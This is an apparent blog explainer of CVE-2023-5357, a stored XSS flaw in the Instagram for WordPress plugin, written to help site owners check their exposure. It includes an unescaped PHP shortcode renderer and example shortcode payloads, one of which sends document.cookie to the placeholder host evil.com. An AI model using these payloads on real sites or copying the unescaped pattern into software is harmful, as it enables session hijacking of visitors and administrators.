In late 2023, a dangerous vulnerability surfaced in a popular WordPress plugin: Instagram for WordPress. This weakness, tracked as CVE-2023-5357, allows attackers to execute stored Cross-Site Scripting (XSS) attacks by abusing shorts codes. Even though this may sound technical, the risk is simple — anyone with at least “contributor” access can inject malicious scripts that run automatically for anyone visiting the compromised page.

This deep dive explains, in plain American English, what happened, how attackers could exploit this issue, and how you can check if your site is at risk.

What is the Instagram for WordPress Plugin?

The Instagram for WordPress plugin lets website owners easily display photo feeds from Instagram onto their WordPress pages using something called “shortcodes.” These are simply snippets like:

[instagram-feed id="1"]

This feature is supposed to be safe, but in plugin versions up to and including 2.1.6, there’s a gap in security.

What Exactly is CVE-2023-5357?

CVE-2023-5357 identifies a stored XSS bug: attackers with access (contributors or higher) can inject scripts via shortcode attributes. WordPress shortcodes are meant for formatting content, not for running scripts. But here, the plugin doesn't properly clean (sanitize) what’s put inside shortcodes.

Why is That Dangerous?

When someone with “contributor” permissions writes a post or page and uses the vulnerable shortcode, they can slip in malicious code. That script is then saved as part of the post (“stored”), so anytime a visitor — even an admin — loads the page, the script runs in their browser. This can:

- Steal cookies/session tokens.

Simplified Snippet

function render_instagram_shortcode($atts) {
    // Doesn't clean $atts['id'] or other attributes!
    $id = $atts['id'];
    echo '<div class="ig-feed" data-id="' . $id . '"></div>'; // No escaping!
}

If an attacker sets the [instagram-feed id="abc" onmouseover="alert('hacked')"], the HTML will become:

<div class="ig-feed" data-id="abc" onmouseover="alert('hacked')"></div>

Now, whenever a mouse hovers over the feed area, the malicious JavaScript runs!

A user with posting access could write

[instagram-feed id='1" onmouseover="alert(document.cookie)']

When anyone visits the page, the cookie will pop up in an alert. Bad actors often use this to steal admin cookies without showing any alerts.

`

[instagram-feed id='x" style="color:red;" onmouseover="fetch(http://evil.com?c=+document.cookie)']

An admin (or user) visits that post.

4. The browser loads the malicious code and, for example, sends session cookies to the attacker’s server.

WordPress sites using Instagram for WordPress plugin up to version 2.1.6

- Any site where contributors or above can create/edit posts/pages

Official References

- Wordfence Advisory
- NVD Description
- Patchstack Bulletin
- Plugin Page

Mitigation & Fix

The developers fixed this issue in version 2.1.7.

Conclusion

CVE-2023-5357 is a textbook example of why input sanitization and output escaping is essential in modern web code. If your site ever used the Instagram for WordPress plugin, check your version and user permissions. One overlooked plugin can open doors for hackers.

If you liked this write-up, please update and secure your website — and share this post with other WordPress admins. For more info, check the “Official References” section above.

Timeline

Published on: 10/04/2023 02:15:10 UTC
Last modified on: 11/07/2023 04:23:56 UTC